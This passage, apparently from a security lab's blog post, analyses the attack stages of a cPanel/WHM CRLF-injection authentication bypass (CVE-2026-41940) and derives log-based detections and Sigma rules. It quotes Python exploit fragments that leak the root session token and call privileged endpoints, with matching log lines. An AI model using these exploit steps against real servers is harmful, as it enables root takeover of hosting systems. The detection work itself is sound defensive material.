             "Cookie": f"whostmgrsession={cookie}",
             "Authorization": f"Basic {base64.b64encode(PAYLOAD)}",
         })
loc = r.headers.get("Location", "")
m = re.search(r"/cpsess\d+", loc)
token = m.group(0)  # e.g. /cpsess2855760979

A GET / request is sent carrying the session cookie, received in the previous stage, and an Authorization: Basic header whose base64-decoded value contains CRLF sequences.

In the access log, the following trace is generated:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "GET / HTTP/1.1" 307 0 "-" "python-requests/2.31.0" "b" "-" 2087

The response of the server is a Location header which includes the CSRF token that identifies the session, now with root  privileges.  Without getting into all the specifics, GET / is the only endpoint where the CRLF vulnerability is reachable and returns a status 3xx, which includes the CSRF token in the Location.

Looking closely at the access log, the "b" flag on GET / immediately stands out. cPanel's documentation suggests that this is a flag meaning Basic authentication has been sent. The explanation below details the possible flags for this column:\



This means that we have a way to detect a GET / with Basic authorization. This should not happen at all regularly, as GET / is an unauthorized endpoint. When we call it in WHM we get the basic login screen:



So, we have our first bulletproof detection – A GET call to /, with authentication method "b"! As there is no other reason for this call, it is enough to prove an attack. We can even refine it to a redirect status code (3xx) as it's required for an attacker to get the Location header, which includes the `cpsess` number needed for Stage 4. From the access log we can also extract the source IP and the username used by the exploit:

10.0.23.4 - root [05/03/2026:14:00:55 -0000] "GET / HTTP/1.1" 307 0 "-" "python-requests/2.31.0" "b" "-" 2087

Stage 3: Propagating to Cache

The injected session in the filesystem path raw/ needs to be promoted to the cache/ layer that cpsrvd actually reads for authentication decisions.

To do that, the exploit runs the following:

r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
         headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Expects: HTTP 401 with "Token denied" or "WHM Login" in body

which produces the following log line in access_log:

127.0.0.1 - root [05/03/2026:11:29:16] "GET /scripts2/listaccts HTTP/1.1"      401 0 "-" "python-requests/2.31.0" "-"  "-" 2087

And in login_log we see the following:

[2026-05-03 14:00:55 +0000] info [whostmgrd] 10.0.23.4 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing

This URI is not unique – hitting any authenticated endpoint with the unauthenticated cookie triggers cpsrvd's do_token_denied code path, which reads the raw/ file and writes it to cache/.  The message from login_log doesn't help us much either, as a missing security token is a common error that may happen whenever an unauthenticated user tries to access a page. Thus, we don't have enough unique information to create a detection.

Stage 4: Using or verifying the privileged access

Now that the session file is written to the right place and the attacker has the token, they can use that access to execute any privileged action they want. But any action needs to be preceded by the CSRF protection of the cpsses token they received.

In the exploit we see the following:

r = http(s, "GET", scheme, host, port, canonical,
         f"{token}/json-api/version",
         headers={"Cookie": f"whostmgrsession={cookie_enc}"})
# Returns: HTTP 200 {"version":"11.136.0.4"}

Which produces this line in access_log:

127.0.0.1 - root [05/03/2026:11:29:16] "GET /cpsess2855760979/json-api/version HTTP/1.1" 200 0 "-" "python-requests/2.31.0" "s" "-" 2087

The json-api/version part is not inherent to the exploit and can easily be replaced, but that cpsessNNNNNNNNNN needs to be used. Notice the "s", signaling that this session has been authenticated with a cookie. 

This stage gives us another option for detection – a session with a valid cookie is initiated, /cpsess… is called, a 200 status code is received, but we never observed a successful login.

We can correlate different log lines, as cPanel enforces sessions for the client IP, and in contrast to the other features, the vulnerability building blocks don't allow injecting a different IP in the session file. To avoid false positives, we need to identify not only standard successful login, but also logins through OpenID (through /openid_connect/), and through WHM to cPanel (used by resellers, users /cpsessNNNNNNNNNNN/login?session), as after a successful login, a session file is also used for them.

To summarize, an IP that has an "s" session, without a 200 status code for a login action, is highly likely to be an exploit. The challenge is only correlating between the two log lines, as they can be far apart in time. While this detection is substantially more complex than the first, it can be used for other authentication bypass exploits in the future.

While this detection is substantially more complex than the first, it can be used for other authentication bypass exploits in the future. It's important to note that the correlation between the event happening and the event not happening (the login) is tricky – a login for a session can happen a long time before its reuse. Additionally, if a legitimate user has logged in from the same IP as the attacker (if both use the same VPN, for example) before the exploitation, it would cause a false positive. If the logs had some kind of correlation id or session key, defenders could better protect against these kinds of authorization attacks, but we currently have to use only what's available.

Putting the Detections into the SIEM

As described above, we have written detections, as Sigma and as SIEM queries for stages 2 and 4. When testing the events against the cPanel logs in Splunk, we've come across a familiar problem:




When connecting cPanel to Splunk through the default settings, Splunk sets the sourcetype as access_combined_wcookie, which parses in this example "b" as cookie instead of authentication_method. Splunk is hardly alone here, similar problems arose when plugging the logs and attempting to run the detection on other SIEMs. SIGMA rules converted to DSL could not work out of the box without some plumbing on our part for each cPanel log type. We suggest that everyone using our SIGMA rules first see how their logs are parsed into their SIEM. We are also publishing the schema we've used for Splunk here.

In addition to that, the detection rule for stage 4 presented us with a problem: how to express with SIGMA a correlation between two events where one of them **shouldn't **exist, and that only before the one exists. We've decided to use timespan: 24h, but this also means that the rule checks there are no successful login after successful session file use. The inability of current SIGMA rules to support it is understandable, given the vastly different ways SIEMs handle this correlation.


Conclusion

We've outlined two detection mechanisms that can unequivocally determine if, and by whom, an intrusion has occurred. Additionally, we're providing Microsoft Sentinel and Splunk schemas for relevant cPanel logs. See here.

cPanel was launched in 1996 and three decades of feature growth have produced a sprawling mix of log types, many with custom formats and no correlation option or index. For defenders managing and onboarding hundreds of applications across a network, the need to invest heavily in understanding each application, building threat models, and tailoring connectors that produce correlated, meaningful events is simply not feasible.

This visibility gap that arises inevitably also creates a detection gap. Detection engineers today need to battle with their application for providing logs, and then battle again with their SIEMs to let them query the logs in a useful way.

Onboarding apps, logging, correlation and threat detection must be done differently. Stay tuned for what's next.

Detection Rules

The rules are also available in the Github Repo.


Malicious GET /

title: cPanel WHM Authentication Bypass via CRLF Injection (CVE-2026-41940)
id: 25e9ef06-c1de-476e-aedb-4d50dee610c5
status: stable
description: |
  Detects Stage 2 of the cPanel/WHM CRLF injection authentication bypass (CVE-2026-41940).
  The attacker sends GET /  with an Authorization: Basic header whose
  decoded value contains CRLF-injected session fields. cpsrvd records auth_method "b"
  (HTTP Basic) in the access_log and responds with a 3xx redirect that leaks the
  cpsess security token in the Location header.
references:
  - https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
author: Unfold Security Research Lab
date: 2026-05-05
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-41940
logsource:
  product: cpanel
  service: access_log
  definition: |
    Log file: /usr/local/cpanel/logs/access_log
    Format (from docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files):
      client_ip - user [timestamp] "method path protocol" status bytes referrer useragent authentication_method x_forwarded_for port
    Field positions:
      cs-method          = HTTP method (field inside quoted request string)
      cs-uri-stem        = Request path
      sc-status          = HTTP response status code
      authentication_method = Auth type: a=API token, b=HTTP Basic, s=Session, o=OpenID, -=none
      port               = Service port cpsrvd received the request on
detection:
  selection:
    cs-method: 'GET'
    cs-uri-stem: '/'
    sc-status|startswith: '3'
    authentication_method: 'b'
  condition: selection
level


Successful Session authorization without login

title: cPanel WHM Successful Login
name: cpanel_whm_successful_login
id: 559fe2e0-9239-44af-a277-628511ffbbd4
status: experimental
description: Base rule — successful login to WHM. Accounts for standard forms, 2FA, OpenID Connect (SSO), and internal WHM account possession API flows. Used by correlation rule.
logsource:
  product: cpanel
  service: access_log
  definition: |
    Log file: /usr/local/cpanel/logs/access_log
    Format (from docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files):
      client_ip - user [timestamp] "method path protocol" status bytes referrer useragent authentication_method x_forwarded_for port
    Field positions:
      cs-method          = HTTP method (field inside quoted request string)
      cs-uri-stem        = Request path
      sc-status          = HTTP response status code
      authentication_method = Auth type: a=API token, b=HTTP Basic, s=Session, o=OpenID, -=none
      port               = Service port cpsrvd received the request on

detection:
  selection_form:
    cs-method: 'POST'
    cs-uri-stem|startswith: '/login'
    sc-status: 200
  selection_openid:
    cs-uri-stem|contains: '/openid_connect/'
    sc-status|startswith: '3'
  selection_possession:
    cs-method: 'GET'
    cs-uri-stem|contains: '/login'
    cs-uri-query|startswith: 'session='
    sc-status: 
      - 200
      - 302
  condition: 1 of selection_*
level: informational
---
title: cPanel WHM Session-Authenticated cpsess Request
name: cpanel_whm_cpsess_session_access
id: a28dd486-5e0b-424b-862e-1e01919ed7cb
status: experimental
description: Base rule — HTTP 200 session-authenticated request to a cpsess path on WHM. Used by correlation rule.
logsource:
  product: cpanel
  service: access_log
detection:
  selection:
    cs-uri-stem|re: '^/cpsess\d{10}/'
    sc-status: 200
    authentication_method: 's'
  condition: selection
level: informational
---
title: cPanel WHM Session Access Without Prior Successful Login (CVE-2026-41940)
id: 559fe2e0-9239-44af-a277-628511ffbbd4
status: test
description: |
  Detects a WHM session-authenticated cpsess request (auth_method "s", HTTP 200) from
  a source IP that had no successful login (form-based, SSO, or reseller possession) in the preceding 24 hours.
  A legitimate admin always has a preceding login event before any cpsess session access.
references:
  - https://watchtowr.com/resources/2765-rapid-reaction-cpanel-authentication-bypass/
  - https://docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files
author: Unfold Security Research Lab
date: 2026-05-05
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-41940
action: correlation
type: temporal_ordered
rules:
  login: cpanel_whm_successful_login
  session: cpanel_whm_cpsess_session_access
group-by:
  - c-ip
timespan: 24h
condition: session and not login
falsepositives:
  - An admin whose session cookie persists across the 24h window from a prior day login.
    Tune the timespan or anchor the window to the session creation time if this fires.
level


References

cPanel Log Files Reference

cPanel CVE-2026-41940 Security Advisory

Early Exploitation Evidence (Reddit Discussion)

NVD CVE-2026-41940 Advisory

Picus Security: CVE-2026-41940 Technical Analysis

Watchtowr Labs: cPanel/WHM Authentication Bypass Deep Dive